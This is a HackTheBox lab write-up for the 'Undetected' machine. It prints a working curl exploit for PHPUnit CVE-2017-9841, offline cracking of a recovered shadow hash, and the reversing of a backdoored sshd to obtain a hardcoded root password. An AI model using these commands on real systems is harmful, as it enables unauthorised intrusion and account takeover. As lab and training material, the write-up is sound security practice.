HTB: Undetected Writeup
Undetected - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Undetected |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.136.44 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Undetected is a Linux machine themed around a jewellery-store web app that turns out to already have been compromised by a prior (fictional) attacker. The front door is a classic PHPUnit remote-code-execution bug (CVE-2017-9841) reachable through the store.djewelry.htb vhost, which hands over a www-data shell. From there, instead of a fresh privesc path, the box requires literally retracing a previous intruder’s steps: a leftover ELF dropper in /var/backups/info embeds a hex-encoded persistence script that reveals a cracked user’s shadow hash, and a backdoored Apache module quietly trojans /usr/sbin/sshd with a hardcoded, XOR-obfuscated root password. Both backdoors have to be reverse engineered by hand to extract usable credentials.
TL;DR: PHPUnit eval-stdin.php RCE (CVE-2017-9841) → www-data → recover attacker’s persistence script from /var/backups/info → crack steven1’s shadow hash → SSH as steven1 → user.txt → spot backdoored mod_reader.so in Apache → recover trojaned sshd, reconstruct and XOR-decrypt its hardcoded backdoor password → SSH as root → root.txt.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.136.44Results:
| Port | Service | Version |
|---|---|---|
| 22 | ssh | OpenSSH |
| 80 | http | Apache httpd 2.4.41 |
Service Enumeration
Requesting port 80 redirects to a virtual host, store.djewelry.htb. Added to /etc/hosts:
echo "10.129.136.44 store.djewelry.htb" | sudo tee -a /etc/hostsThe vhost serves a jewellery-store web application. Enumeration of the site surfaces a publicly reachable vendor/ tree, exposing the bundled PHPUnit library and its known-vulnerable eval-stdin.php debug helper at:
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.phpVulnerability Assessment
- CVE-2017-9841 — PHPUnit ≤ 5.6.2 ships
Util/PHP/eval-stdin.php, a script intended for internal test execution that blindlyeval()s PHP code sent on the request body. If this file ends up inside a web-accessiblevendor/directory (common whenvendor/isn’t excluded from the docroot), any unauthenticated visitor gets arbitrary PHP execution.
Initial Foothold
Exploitation Path
# Send PHP payload as the raw POST body — eval-stdin.php passes stdin straight to eval()curl -s -X POST http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \ --data '<?php system("id"); ?>'# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)Confirmed code execution as www-data. This is the classic PHPUnit debug-endpoint RCE — the bundled test harness never expects to be reachable over HTTP, so no auth, no CSRF token, nothing but the request body stands between an attacker and the app server’s shell.
Privilege Escalation
Lateral Movement: www-data → steven1
Enumerating files owned by www-data outside the webroot turned up an ELF binary planted by a previous compromise:
/var/backups/infoThe binary is a leftover attacker tool. Pulling it apart revealed an embedded 1316-character hex-encoded blob — a shell command string built for persistence. Decoding it:
import binascii# hex blob extracted from the /var/backups/info ELFblob = "..." # 1316 hex chars recovered from the binaryprint(binascii.unhexlify(blob))The decoded script is the original attacker’s persistence routine: it plants an SSH key backdoor, drops a cron-triggered payload, and — notably — walks /etc/passwd looking for real user accounts to clone, writing a matching shadow hash for a decoy account so the attacker can log back in later using a normal-looking username. That shadow entry is exactly what got exposed:
steven1:$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:...Cracked offline:
echo 'steven1:$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/' > hash.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt# -> ihatehackersssh steven1@10.129.136.44# password: ihatehackersid# uid=1000(steven1) ... — steven1 is a clone/twin account of the box's real "steven" usercat /home/steven1/user.txtWhy this works: the shadow hash isn’t a normal system credential — it’s the previous, in-fiction attacker’s own backdoor account, accidentally left recoverable inside the dropper binary they forgot to clean up. Retracing their persistence script is the intended path to a foothold user.
Privilege Escalation: steven1 → root
ls -la /etc/apache2/mods-enabled/ shows reader.load with a modification date (May 17) inconsistent with the rest of the enabled-modules directory — the same kind of anomaly as /var/backups/info’s stray timestamp. The module points at:
/usr/lib/apache2/modules/mod_reader.soThis is a trojaned Apache module: on every Apache restart it silently overwrites /usr/sbin/sshd with a backdoored SSH daemon binary, which is why the machine’s name is “Undetected” — the compromise re-persists itself invisibly every time the web service reloads.
Pulling the live sshd binary and reversing its authentication path revealed a hardcoded 31-byte backdoor array used inside the password-check routine, compared directly against the login password before falling through to real PAM authentication. The array was reconstructed from the binary’s disassembly/data directly (no IDA/Ghidra available in this environment):
# 16 bytes recovered from the data segment at 0x7db30, plus stack-pushed immediates# (d6b3a0fda0f4d6b2 / e3b5f0bc / f4a9) with a trailing 0xa5 appended after assemblybackdoor = [ # ... 31 bytes total, reconstructed from 0x7db30 + stack immediates ...]
def decode(arr): # XOR-obfuscated with a single-byte key, 0x96 return "".join(chr(b ^ 0x96) for b in arr)
print(decode(backdoor))# -> @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3ssh root@10.129.136.44# password: @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3id# uid=0(root) gid=0(root) groups=0(root)cat /root/root.txtWhy this works: the backdoored sshd short-circuits auth_password() — if the supplied password XORs to match the embedded 31-byte constant, authentication succeeds for any username regardless of the real password database. Recovering it required identifying the comparison routine in the disassembly, pulling the raw bytes out of the data segment plus the stack-pushed immediate values used to build the rest of the array at runtime, and reversing the single-byte XOR (0x96) used to hide the plaintext from static string scans.
Two live deviations from a clean run worth noting: the jump host’s /tmp was completely full, so all working files were staged in /dev/shm instead; and the backdoor array was pulled straight out of the binary’s disassembly/data rather than via a GUI disassembler.
Attack Chain Summary
PHPUnit eval-stdin.php RCE (CVE-2017-9841) on store.djewelry.htb → www-data shell → discover /var/backups/info (attacker's leftover ELF dropper) → extract & decode embedded hex persistence script → recover steven1's shadow hash → crack via john/rockyou (ihatehackers) → SSH as steven1 → user.txt → spot backdoored /etc/apache2/mods-enabled/reader.load (mod_reader.so) → recover trojaned /usr/sbin/sshd, reconstruct 31-byte backdoor array → XOR-decrypt with 0x96 → hardcoded root password → SSH as root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
curl | Delivering the PHPUnit eval-stdin.php RCE payload |
python3 / binascii | Decoding the hex-encoded persistence script from /var/backups/info |
john (rockyou.txt) | Cracking steven1’s SHA-512crypt shadow hash |
ssh / scp | Lateral login and pulling binaries off the target for analysis |
| disassembly (manual, binary data inspection) | Reconstructing the 31-byte XOR-obfuscated root password from the trojaned sshd |
Key Learnings
Techniques Practiced
- Exploiting CVE-2017-9841 (PHPUnit
eval-stdin.phpRCE) via a web-exposedvendor/directory - Hunting for attacker-owned artifacts left on disk (
find-by-owner style triage) after a foothold - Extracting and decoding a hex-encoded embedded payload from an ELF binary
- Offline hash cracking of a SHA-512crypt shadow entry with john + rockyou
- Recognizing anomalous file modification times as a signal of prior compromise/persistence
- Reverse engineering a trojaned Apache module and a backdoored
sshdbinary to recover a hardcoded, XOR-obfuscated credential
Lessons Learned
- Bundled dev/test tooling (PHPUnit) shipped inside a web-servable path is a live RCE surface —
vendor/must never be reachable from the docroot. - A prior compromise doesn’t have to be theoretical framing — treating “what did the last attacker leave behind” as an enumeration target (stray files, odd timestamps) is a legitimate and necessary privesc technique on a machine that’s already been popped once.
- File modification-time drift across otherwise-uniform directories (
mods-enabled/, a dropped binary in/var/backups/) is a strong indicator of tampering and worth checking early on any box themed around persistence. - Backdoors hiding a credential behind a trivial XOR are still opaque to
strings/grep — recovering them requires actually reading the comparison logic, not just scanning for plaintext. - Environment constraints (a full
/tmpon the jump host) are a normal part of live engagements —/dev/shmis a reliable fallback staging area when disk-backed temp space isn’t available.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- dotguy, “Undetected” — official HackTheBox machine write-up (Document No. D22.100.183), Machine Author: TheCyberGeek. Used here only to confirm the CVE identifier (CVE-2017-9841) and to cross-check the conceptual structure of the two backdoor-recovery steps (persistence-script decode and
sshdXOR backdoor) — all IPs, outputs, hashes, and passwords above are from this run’s actual solve, not the reference.